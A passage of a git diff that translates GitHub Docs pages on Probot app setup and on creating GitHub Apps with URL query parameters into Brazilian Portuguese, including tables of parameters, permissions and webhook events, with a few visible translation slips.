-1. [Generate a new GitHub App](https://probot.github.io/docs/development/#generating-a-new-app).
-1. Open the project you created, and customize the settings in the `app.yml` file. Probot uses the settings in `app.yml` as the [GitHub App Manifest parameters](#github-app-manifest-parameters).
-1. Add your application's custom code.
-1. [Run the GitHub App locally](https://probot.github.io/docs/development/#running-the-app-locally) or [host it anywhere you'd like](#hosting-your-app-with-glitch). When you navigate to the hosted app's URL, you'll find a web page with a **Register GitHub App** button that people can click to create a preconfigured app. The web page below is Probot's implementation of [step 1](#1-you-redirect-people-to-github-to-create-a-new-github-app) in the GitHub App Manifest flow:
+1. [Gerar um novo aplicativo GitHub](https://probot.github.io/docs/development/#generating-a-new-app).
+1. Abra o projeto que você criou e personalize as configurações no arquivo `app.yml`. O Probot usa as configurações no `app.yml` como [parâmetros do manifesto do aplicativo GitHub](#github-app-manifest-parameters).
+1. Adicione o código personalizado do seu aplicativo.
+1. [Execute o aplicativo GitHub localmente](https://probot.github.io/docs/development/#running-the-app-locally) ou [hospede-o em qualquer lugar que desejar](#hosting-your-app-with-glitch). Ao acessar a URL do aplicativo hospedado, você encontrará uma página web com o botão de **Registrar o aplicativo GitHub**, em que as pessoas podem clicar para criar um aplicativo pré-configurado. A página abaixo é a implementação do Probot da [etapa 1](#1-you-redirect-people-to-github-to-create-a-new-github-app) no fluxo do manifesto do aplicativo GitHub:
 
-![Register a Probot GitHub App](/assets/images/github-apps/github_apps_probot-registration.png)
+![Registrar um aplicativo GitHub do Probot](/assets/images/github-apps/github_apps_probot-registration.png)
 
-Using [dotenv](https://github.com/bkeepers/dotenv), Probot creates a `.env` file and sets the `APP_ID`, `PRIVATE_KEY`, and `WEBHOOK_SECRET` environment variables with the values [retrieved from the app configuration](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration).
+Ao usar [dotenv](https://github.com/bkeepers/dotenv), o Probot cria um arquivo `.env` e define o `APP_ID`, a `PRIVATE_KEY`, e as variáveis de ambiente `WEBHOOK_SECRET` com os valores [recuperados da configuração do aplicativo](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration).
 
-### Hosting your app with Glitch
+### Hospedar seu aplicativo com Glitch
 
-You can see an [example Probot app](https://glitch.com/~auspicious-aardwolf) that uses [Glitch](https://glitch.com/) to host and share the app. The example uses the [Checks API](/rest/reference/checks) and selects the necessary Checks API events and permissions in the `app.yml` file. Glitch is a tool that allows you to "Remix your own" apps. Remixing an app creates a copy of the app that Glitch hosts and deploys. See "[About Glitch](https://glitch.com/about/)" to learn about remixing Glitch apps.
+Você pode ver um [exemplo do aplicativo Probot](https://glitch.com/~auspicious-aardwolf) que usa o [Glitch](https://glitch.com/) para hospedar e compartilhar o aplicativo. O exemplo usa a [API de verificação](/rest/reference/checks) e seleciona as verificações e permissões necessárias dos eventos da API e no arquivo `app.yml`. Glitch é uma ferramenta que permite que você "mescle seus próprios aplicativos". Mesclar um aplicativo cria uma cópia do aplicativo que a Glitch hospeda e implementa. Consulte "[Sobre a Glitch](https://glitch.com/about/)" para aprender sobre como mesclar aplicativos Glitch.
diff --git a/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md b/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
index 4c41f66d9e..3d6170ba21 100644
--- a/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
+++ b/translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub App using URL parameters
-intro: 'You can preselect the settings of a new {% data variables.product.prodname_github_app %} using URL [query parameters](https://en.wikipedia.org/wiki/Query_string) to quickly set up the new {% data variables.product.prodname_github_app %}''s configuration.'
+title: Criar um aplicativo GitHub usando parâmetros de URL
+intro: 'Você pode pré-selecionar as configurações de um novo {% data variables.product.prodname_github_app %} usando URL [parâmetros de consulta](https://en.wikipedia.org/wiki/Query_string) para definir rapidamente a configuração do novo {% data variables.product.prodname_github_app %}.'
 redirect_from:
   - /apps/building-github-apps/creating-github-apps-using-url-parameters
   - /developers/apps/creating-a-github-app-using-url-parameters
@@ -11,22 +11,23 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: App creation query parameters
+shortTitle: Parâmetros de consulta de criação de aplicativo
 ---
-## About {% data variables.product.prodname_github_app %} URL parameters
 
-You can add query parameters to these URLs to preselect the configuration of a {% data variables.product.prodname_github_app %} on a personal or organization account:
+## Sobre parâmetros de URL do {% data variables.product.prodname_github_app %}.
 
-* **User account:** `{% data variables.product.oauth_host_code %}/settings/apps/new`
-* **Organization account:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new`
+Você pode adicionar parâmetros de consulta a essas URLs para pré-selecionar a configuração de um {% data variables.product.prodname_github_app %} em uma conta pessoal ou de organização:
 
-The person creating the app can edit the preselected values from the {% data variables.product.prodname_github_app %} registration page, before submitting the app. If you do not include required parameters in the URL query string, like `name`, the person creating the app will need to input a value before submitting the app.
+* **Conta de usuário:** `{% data variables.product.oauth_host_code %}/settings/apps/new`
+* **Conta da organização:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new`
+
+A pessoa que está criando o aplicativo pode editar os valores pré-selecionados a partir da página de registro do {% data variables.product.prodname_github_app %}, antes de enviar o aplicativo. Se você não incluir os parâmetros necessários na string de consulta da URL, como, por exemplo, o `nome`, a pessoa que criar o aplicativo deverá inserir um valor antes de enviar o aplicativo.
 
 {% ifversion ghes > 3.1 or fpt or ghae or ghec %}
-For apps that require a secret to secure their webhook, the secret's value must be set in the form by the person creating the app, not by using query parameters. For more information, see "[Securing your webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)."
+Para aplicativos que exigem que um segredo proteja seu webhook, o valor do segredo deve ser definido no formulário pela pessoa que criou o aplicativo, não pelo uso de parâmetros de consulta. Para obter mais informações, consulte "[Protegendo seus webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)".
 {% endif %}
 
-The following URL creates a new public app called `octocat-github-app` with a preconfigured description and callback URL. This URL also selects read and write permissions for `checks`, subscribes to the `check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation:
+A URL a seguir cria um novo aplicativo pública denominado `octocat-github-app` com uma descrição pré-configurada e URL de chamada de retorno. Esta URL também seleciona permissões de leitura e gravação para `verificações`, inscreve-se nos eventos webhook de </code>check_run` e <code>check_suite` e seleciona a opção de solicitar autorização do usuário (OAuth) durante a instalação:
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
@@ -42,102 +43,102 @@ The following URL creates a new public app called `octocat-github-app` with a pr
 
 {% endif %}
 
-The complete list of available query parameters, permissions, and events is listed in the sections below.
+Lista completa de parâmetros de consulta, permissões e eventos disponíveis encontra-se nas seções abaixo.
 
-## {% data variables.product.prodname_github_app %} configuration parameters
+## Parâmetros de configuração do {% data variables.product.prodname_github_app %}
 
- Name | Type | Description
------|------|-------------
-`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action.
-`description` | `string` | A description of the {% data variables.product.prodname_github_app %}.
-`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to identify and authorize user-to-server requests. For example, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %}
-`callback_url` | `string` | The full URL to redirect to after someone authorizes an installation. This URL is used if your app needs to identify and authorize user-to-server requests.{% endif %}
-`request_oauth_on_install` | `boolean` | If your app authorizes users using the OAuth flow, you can set this option to `true` to allow people to authorize the app when they install it, saving a step. If you select this option, the `setup_url` becomes unavailable and users will be redirected to your `callback_url` after installing the app.
-`setup_url` | `string` | The full URL to redirect to after someone installs the {% data variables.product.prodname_github_app %} if the app requires additional setup after installation.
-`setup_on_update` | `boolean` | Set to `true` to redirect people to the setup URL when installations have been updated, for example, after repositories are added or removed.
-`public` | `boolean` | Set to `true` when your {% data variables.product.prodname_github_app %} is available to the public or `false` when it is only accessible to the owner of the app.
-`webhook_active` | `boolean` | Set to `false` to disable webhook. Webhook is enabled by default.
-`webhook_url` | `string` | The full URL that you would like to send webhook event payloads to.
-{% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `string` | You can specify a secret to secure your webhooks. See "[Securing your webhooks](/webhooks/securing/)" for more details.
-{% endif %}`events` | `array of strings` | Webhook events. Some webhook events require `read` or `write` permissions for a resource before you can select the event when registering a new {% data variables.product.prodname_github_app %}. See the "[{% data variables.product.prodname_github_app %} webhook events](#github-app-webhook-events)" section for available events and their required permissions. You can select multiple events in a query string. For example, `events[]=public&events[]=label`.{% ifversion ghes < 3.4 %}
-`domain` | `string` | The URL of a content reference.{% endif %}
-`single_file_name` | `string` | This is a narrowly-scoped permission that allows the app to access a single file in any repository. When you set the `single_file` permission to `read` or `write`, this field provides the path to the single file your {% data variables.product.prodname_github_app %} will manage. {% ifversion fpt or ghes or ghec %} If you need to manage multiple files, see `single_file_paths` below. {% endif %}{% ifversion fpt or ghes or ghec %}
-`single_file_paths` | `array of strings` | This allows the app to access up ten specified files in a repository. When you set the `single_file` permission to `read` or `write`, this array can store the paths for up to ten files that your {% data variables.product.prodname_github_app %} will manage. These files all receive the same permission set by `single_file`, and do not have separate individual permissions. When two or more files are configured, the API returns `multiple_single_files=true`, otherwise it returns `multiple_single_files=false`.{% endif %}
+ | Nome                                               | Tipo               | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+ | -------------------------------------------------- | ------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+ | `name`                                             | `string`           | O nome do {% data variables.product.prodname_github_app %}. Dê um nome claro e sucinto ao seu aplicativo. Seu aplicativo não pode ter o mesmo nome de um usuário existente no GitHub, a menos que seja o seu próprio nome de usuário ou da sua organização. Uma versão movida do nome do seu aplicativo será exibida na interface do usuário quando sua integração realizar uma ação.                                                                                                                                                                                           |
+ | `descrição`                                        | `string`           | Uma descrição do {% data variables.product.prodname_github_app %}.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+ | `url`                                              | `string`           | A URL completa da página inicial do site do {% data variables.product.prodname_github_app %}. {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+ | `callback_urls`                                    | `array de strigns` | Uma URL completa para a qual redirecionar após alguém autorizar uma instalação. Você pode fornecer até 10 URLs de retorno de chamada. Essas URLs são usadas se o aplicativo precisar identificar e autorizar solicitações de usuário para servidor. Por exemplo, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %}
+ | `callback_url`                                     | `string`           | A URL completa para onde redirecionar após alguém autorizar uma instalação. Este URL é usada se o seu aplicativo precisar identificar e autorizar solicitações de usuário para servidor.{% endif %}
+ | `request_oauth_on_install`                         | `boolean`          | Se seu aplicativo autoriza usuários a usar o fluxo OAuth, você poderá definir essa opção como `verdadeiro` para permitir que pessoas autorizem o aplicativo ao instalá-lo, economizando um passo. Se você selecionar esta opção, `setup_url` irá tornar-se indisponível e os usuários serão redirecionados para sua `callback_url` após instalar o aplicativo.                                                                                                                                                                                                                    |
+ | `setup_url`                                        | `string`           | A URL completa para redirecionamento após alguém instalar o {% data variables.product.prodname_github_app %}, se o aplicativo precisar de configuração adicional após a instalação.                                                                                                                                                                                                                                                                                                                                                                                             |
+ | `setup_on_update`                                  | `boolean`          | Defina como `verdadeiro` para redirecionar as pessoas para a URL de configuração quando as instalações forem atualizadas, por exemplo, após os repositórios serem adicionados ou removidos.                                                                                                                                                                                                                                                                                                                                                                                       |
+ | `público`                                          | `boolean`          | Defina `verdadeiro` quando seu {% data variables.product.prodname_github_app %} estiver disponível para o público ou como `falso` quando só for acessível pelo proprietário do aplicativo.                                                                                                                                                                                                                                                                                                                                                                                      |
+ | `webhook_active`                                   | `boolean`          | Defina como `falso` para desabilitar o webhook. O webhook está habilitado por padrão.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+ | `webhook_url`                                      | `string`           | A URL completa para a qual você deseja enviar as cargas do evento de webhook.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+ | {% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `string`           | Você pode especificar um segredo para proteger seus webhooks. Consulte "[Protegendo seus webhooks](/webhooks/securing/)" para obter mais detalhes.                                                                                                                                                                                                                                                                                                                                                                                                                                |
+ | {% endif %}`events`                                | `array de strigns` | Eventos webhook. Alguns eventos de webhook exigem permissões de `leitura` ou `gravação` para um recurso antes de poder selecionar o evento ao registrar um novo {% data variables.product.prodname_github_app %}, . Consulte a seção "[{% data variables.product.prodname_github_app %} eventos de webhook](#github-app-webhook-events)" para eventos disponíveis e suas permissões necessárias. Você pode selecionar vários eventos em uma string de consulta. Por exemplo, `eventos[]=public&eventos[]=label`.{% ifversion ghes < 3.4 %}
+ | `domínio`                                          | `string`           | A URL de uma referência de conteúdo.{% endif %}
+ | `single_file_name`                                 | `string`           | Esta é uma permissão de escopo limitado que permite que o aplicativo acesse um único arquivo em qualquer repositório. Quando você define a permissão `single_file` para `read` ou `write`, este campo fornece o caminho para o único arquivo que o {% data variables.product.prodname_github_app %} gerenciará. {% ifversion fpt or ghes or ghec %} Se você precisar gerenciar vários arquivos, veja `single_file_paths` abaixo. {% endif %}{% ifversion fpt or ghes or ghec %}
+ | `single_file_paths`                                | `array de strigns` | Isso permite que o aplicativo acesse até dez arquivos especificados em um repositório. Quando você define a permissão `single_file` para `read` ou `write`, este array pode armazenar os caminhos de até dez arquivos que seu {% data variables.product.prodname_github_app %} gerenciará. Todos esses arquivos recebem a mesma permissão definida por `single_file`, e não têm permissões individuais separadas. Quando dois ou mais arquivos estão configurados, a API retorna `multiple_single_files=true`, caso contrário retorna `multiple_single_files=false`.{% endif %}
 
-## {% data variables.product.prodname_github_app %} permissions
+## Permissões do {% data variables.product.prodname_github_app %}
 
-You can select permissions in a query string using the permission name in the following table as the query parameter name and the permission type as the query value. For example, to select `Read & write` permissions in the user interface for `contents`, your query string would include `&contents=write`. To select `Read-only` permissions in the user interface for `blocking`, your query string would include `&blocking=read`. To select `no-access` in the user interface for `checks`, your query string would not include the `checks` permission.
+Você pode selecionar permissões em uma string de consultas usando o nome da permissão na tabela a seguir como o nome do parâmetro de consulta e o tipo de permissão como valor da consulta. Por exemplo, para selecionar permissões de `Leitura & gravação` na interface de usuário para `conteúdo`, sua string de consulta incluiria `&contents=write`. Para selecionar as permissões `Somente leitura` na interface de usuário para `bloquear`, sua string de consulta incluiria `&blocking=read`. Para selecionar `sem acesso` na interface do usuário para `verificações`, sua string de consulta não incluiria a permissão `verificações`.
 
-Permission | Description
----------- | -----------
-[`administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration) | Grants access to various endpoints for organization and repository administration. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %}
-[`blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking) | Grants access to the [Blocking Users API](/rest/reference/users#blocking). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`checks`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks) | Grants access to the [Checks API](/rest/reference/checks). Can be one of: `none`, `read`, or `write`.{% ifversion ghes < 3.4 %}
-`content_references` | Grants access to the "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" endpoint. Can be one of: `none`, `read`, or `write`.{% endif %}
-[`contents`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents) |  Grants access to various endpoints that allow you to modify repository contents. Can be one of: `none`, `read`, or `write`.
-[`deployments`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments) | Grants access to the [Deployments API](/rest/reference/repos#deployments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghec %}
-[`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails) | Grants access to the [Emails API](/rest/reference/users#emails). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`followers`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers) | Grants access to the [Followers API](/rest/reference/users#followers). Can be one of: `none`, `read`, or `write`.
-[`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys) | Grants access to the [GPG Keys API](/rest/reference/users#gpg-keys). Can be one of: `none`, `read`, or `write`.
-[`issues`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues) | Grants access to the [Issues API](/rest/reference/issues). Can be one of: `none`, `read`, or `write`.
-[`keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys) | Grants access to the [Public Keys API](/rest/reference/users#keys). Can be one of: `none`, `read`, or `write`.
-[`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members) |  Grants access to manage an organization's members. Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghec %}
-[`metadata`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions) | Grants access to read-only endpoints that do not leak sensitive data. Can be `read` or `none`. Defaults to `read` when you set any permission, or defaults to `none` when you don't specify any permissions for the {% data variables.product.prodname_github_app %}.
-[`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | Grants access to "[Update an organization](/rest/reference/orgs#update-an-organization)" endpoint and the [Organization Interaction Restrictions API](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks) | Grants access to the [Organization Webhooks API](/rest/reference/orgs#webhooks/). Can be one of: `none`, `read`, or `write`.
-`organization_plan` | Grants access to get information about an organization's plan using the "[Get an organization](/rest/reference/orgs#get-an-organization)" endpoint. Can be one of: `none` or `read`.
-[`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) |  Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghec %}
-[`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects) | Grants access to the [Blocking Organization Users API](/rest/reference/orgs#blocking). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`pages`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages) | Grants access to the [Pages API](/rest/reference/repos#pages). Can be one of: `none`, `read`, or `write`.
-`plan` | Grants access to get information about a user's GitHub plan using the "[Get a user](/rest/reference/users#get-a-user)" endpoint. Can be one of: `none` or `read`.
-[`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests) | Grants access to various pull request endpoints. Can be one of: `none`, `read`, or `write`.
-[`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks) | Grants access to the [Repository Webhooks API](/rest/reference/repos#hooks). Can be one of: `none`, `read`, or `write`.
-[`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects) |  Grants access to the [Projects API](/rest/reference/projects). Can be one of: `none`, `read`, `write`, or `admin`.{% ifversion fpt or ghes > 3.0 or ghec %}
-[`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts) |  Grants access to the [Secret scanning API](/rest/reference/secret-scanning). Can be one of: `none`, `read`, or `write`.{% endif %}{% ifversion fpt or ghes or ghec %}
-[`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events) |  Grants access to the [Code scanning API](/rest/reference/code-scanning/). Can be one of: `none`, `read`, or `write`.{% endif %}
-[`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file) | Grants access to the [Contents API](/rest/reference/repos#contents). Can be one of: `none`, `read`, or `write`.
-[`starring`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring) | Grants access to the [Starring API](/rest/reference/activity#starring). Can be one of: `none`, `read`, or `write`.
-[`statuses`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses) | Grants access to the [Statuses API](/rest/reference/repos#statuses). Can be one of: `none`, `read`, or `write`.
-[`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions) | Grants access to the [Team Discussions API](/rest/reference/teams#discussions) and the [Team Discussion Comments API](/rest/reference/teams#discussion-comments). Can be one of: `none`, `read`, or `write`.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-`vulnerability_alerts`| Grants access to receive security alerts for vulnerable dependencies in a repository. See "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)" to learn more. Can be one of: `none` or `read`.{% endif %}
-`watching` | Grants access to list and change repositories a user is subscribed to. Can be one of: `none`, `read`, or `write`.
+| Permissão                                                                                                                        | Descrição                                                                                                                                                                                                                                                                                                         |
+| -------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [`administração`](/rest/reference/permissions-required-for-github-apps/#permission-on-administration)                            | Concede acesso a vários pontos finais para administração de organização e repositório. Pode ser: `nenhum`, `leitura` ou `gravação`.{% ifversion fpt or ghec %}
+| [`bloqueio`](/rest/reference/permissions-required-for-github-apps/#permission-on-blocking)                                       | Concede acesso à [API de usuários de bloqueio](/rest/reference/users#blocking). Pode ser: `nenhum`, `leitura` ou `gravação`.{% endif %}
+| [`Verificações`](/rest/reference/permissions-required-for-github-apps/#permission-on-checks)                                     | Concede acesso à [API de verificação](/rest/reference/checks). Pode ser: `nenhum`, `leitura` ou `gravação`.{% ifversion ghes < 3.4 %}
+| `content_references`                                                                                                             | Concede acesso ao ponto final "[Criar um anexo de conteúdo](/rest/reference/apps#create-a-content-attachment). Pode ser: `nenhum`, `leitura` ou `gravação`.{% endif %}
+| [`Conteúdo`](/rest/reference/permissions-required-for-github-apps/#permission-on-contents)                                       | Concede acesso a vários pontos finais que permitem modificar o conteúdo do repositório. Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                              |
+| [`Implantações`](/rest/reference/permissions-required-for-github-apps/#permission-on-deployments)                                | Concede acesso à [API de implementação](/rest/reference/repos#deployments). Pode ser: `nenhum`, `leitura` ou `gravação`.{% ifversion fpt or ghes or ghec %}
+| [`emails`](/rest/reference/permissions-required-for-github-apps/#permission-on-emails)                                           | Concede acesso à [API de e-mails](/rest/reference/users#emails). Pode ser: `nenhum`, `leitura` ou `gravação`.{% endif %}
+| [`seguidores`](/rest/reference/permissions-required-for-github-apps/#permission-on-followers)                                    | Concede acesso à [API de seguidores](/rest/reference/users#followers). Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                               |
+| [`gpg_keys`](/rest/reference/permissions-required-for-github-apps/#permission-on-gpg-keys)                                       | Concede acesso à [API de chaves de GPG](/rest/reference/users#gpg-keys). Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                             |
+| [`Problemas`](/rest/reference/permissions-required-for-github-apps/#permission-on-issues)                                        | Concede acesso à [API de problemas](/rest/reference/issues). Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                                         |
+| [`chaves`](/rest/reference/permissions-required-for-github-apps/#permission-on-keys)                                             | Concede acesso à [API de chaves públicas](/rest/reference/users#keys). Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                               |
+| [`members`](/rest/reference/permissions-required-for-github-apps/#permission-on-members)                                         | Concede acesso para gerenciar os membros de uma organização. Pode ser: `nenhum`, `leitura` ou `gravação`.{% ifversion fpt or ghec %}
+| [`metadados`](/rest/reference/permissions-required-for-github-apps/#metadata-permissions)                                        | Concede acesso a pontos finais somente leitura que não vazam dados confidenciais. Pode ser `leitura ` ou `nenhum`. O padrão é `leitura`, ao definir qualquer permissão, ou `nenhum` quando você não especificar nenhuma permissão para o {% data variables.product.prodname_github_app %}.                      |
+| [`organization_administration`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-administration) | Concede acesso ao ponto final "[Atualizar uma organização](/rest/reference/orgs#update-an-organization)" ponto final e Pa [API de restrições de interação da organização](/rest/reference/interactions#set-interaction-restrictions-for-an-organization). Pode ser: `nenhum`, `leitura` ou `gravação`.{% endif %}
+| [`organization_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-hooks)                   | Concede acesso à [API de webhooks da organização](/rest/reference/orgs#webhooks/). Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                   |
+| `organization_plan`                                                                                                              | Concede acesso para obter informações sobre o plano de uma organização usando o ponto final "[Obter uma organização](/rest/reference/orgs#get-an-organization)". Pode ser: `nenhum` ou `leitura`.                                                                                                                 |
+| [`organization_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects)             | Concede acesso à [API de Projetos](/rest/reference/projects). Pode ser: `nenhum`, `leitura`, `gravação` ou `administrador`.{% ifversion fpt or ghec %}
+| [`organization_user_blocking`](/rest/reference/permissions-required-for-github-apps/#permission-on-organization-projects)        | Concede acesso à [API de usuários de bloqueio da organização](/rest/reference/orgs#blocking). Pode ser: `nenhum`, `leitura` ou `gravação`.{% endif %}
+| [`Páginas`](/rest/reference/permissions-required-for-github-apps/#permission-on-pages)                                           | Concede acesso à [API de páginas](/rest/reference/repos#pages). Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                                      |
+| `plano`                                                                                                                          | Concede acesso para obter informações sobre o plano de um usuário do GitHub que usa o ponto final "[Obter um usuário](/rest/reference/users#get-a-user)". Pode ser: `nenhum` ou `leitura`.                                                                                                                        |
+| [`pull_requests`](/rest/reference/permissions-required-for-github-apps/#permission-on-pull-requests)                             | Concede acesso a vários pontos finais do pull request. Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                                               |
+| [`repository_hooks`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-hooks)                       | Concede acesso à [API de webhooks do repositório](/rest/reference/repos#hooks). Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                      |
+| [`repository_projects`](/rest/reference/permissions-required-for-github-apps/#permission-on-repository-projects)                 | Concede acesso à [API de Projetos](/rest/reference/projects). Pode ser: `nenhum`, `leitura`, `gravação` ou `administrador`.{% ifversion fpt or ghes > 3.0 or ghec %}
+| [`secret_scanning_alerts`](/rest/reference/permissions-required-for-github-apps/#permission-on-secret-scanning-alerts)           | Concede acesso à [API de varredura de segredo](/rest/reference/secret-scanning). Pode ser: `none`, `read` ou `write`.{% endif %}{% ifversion fpt or ghes or ghec %}
+| [`security_events`](/rest/reference/permissions-required-for-github-apps/#permission-on-security-events)                         | Concede acesso à [API de varredura de código](/rest/reference/code-scanning/). Pode ser: `nenhum`, `leitura` ou `gravação`.{% endif %}
+| [`single_file`](/rest/reference/permissions-required-for-github-apps/#permission-on-single-file)                                 | Concede acesso à [API de conteúdo](/rest/reference/repos#contents). Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                                  |
+| [`estrela`](/rest/reference/permissions-required-for-github-apps/#permission-on-starring)                                        | Concede acesso à [API estrelada](/rest/reference/activity#starring). Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                                 |
+| [`Status`](/rest/reference/permissions-required-for-github-apps/#permission-on-statuses)                                         | Concede acesso à [API de status](/rest/reference/repos#statuses). Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                                    |
+| [`team_discussions`](/rest/reference/permissions-required-for-github-apps/#permission-on-team-discussions)                       | Concede acesso à [API de discussões de equipe](/rest/reference/teams#discussions) e à [API de comentários de discussão de equipe](/rest/reference/teams#discussion-comments). Pode ser: `nenhum`, `leitura` ou `gravação`.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| `vulnerability_alerts`                                                                                                           | Concede acesso a alertas de segurança para dependências vulneráveis em um repositório. Consulte "[Sobre alertas para dependências vulneráveis](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)" para saber mais. Pode ser: `none` ou `read`.{% endif %}
+| `inspecionando`                                                                                                                  | Concede acesso à lista e alterações de repositórios que um usuário assinou. Pode ser: `nenhum`, `leitura` ou `gravação`.                                                                                                                                                                                          |
 
-## {% data variables.product.prodname_github_app %} webhook events
+## Eventos webhook do {% data variables.product.prodname_github_app %}
 
-Webhook event name | Required permission | Description
------------------- | ------------------- | -----------
-[`check_run`](/webhooks/event-payloads/#check_run) |`checks` | {% data reusables.webhooks.check_run_short_desc %}
-[`check_suite`](/webhooks/event-payloads/#check_suite) |`checks` | {% data reusables.webhooks.check_suite_short_desc %}
-[`commit_comment`](/webhooks/event-payloads/#commit_comment) | `contents` | {% data reusables.webhooks.commit_comment_short_desc %}{% ifversion ghes < 3.4 %}
-[`content_reference`](/webhooks/event-payloads/#content_reference) |`content_references` | {% data reusables.webhooks.content_reference_short_desc %}{% endif %}
-[`create`](/webhooks/event-payloads/#create) | `contents` | {% data reusables.webhooks.create_short_desc %}
-[`delete`](/webhooks/event-payloads/#delete) | `contents` | {% data reusables.webhooks.delete_short_desc %}
-[`deployment`](/webhooks/event-payloads/#deployment) | `deployments` | {% data reusables.webhooks.deployment_short_desc %}
-[`deployment_status`](/webhooks/event-payloads/#deployment_status) | `deployments` | {% data reusables.webhooks.deployment_status_short_desc %}
-[`fork`](/webhooks/event-payloads/#fork) | `contents` | {% data reusables.webhooks.fork_short_desc %}
-[`gollum`](/webhooks/event-payloads/#gollum) | `contents` | {% data reusables.webhooks.gollum_short_desc %}
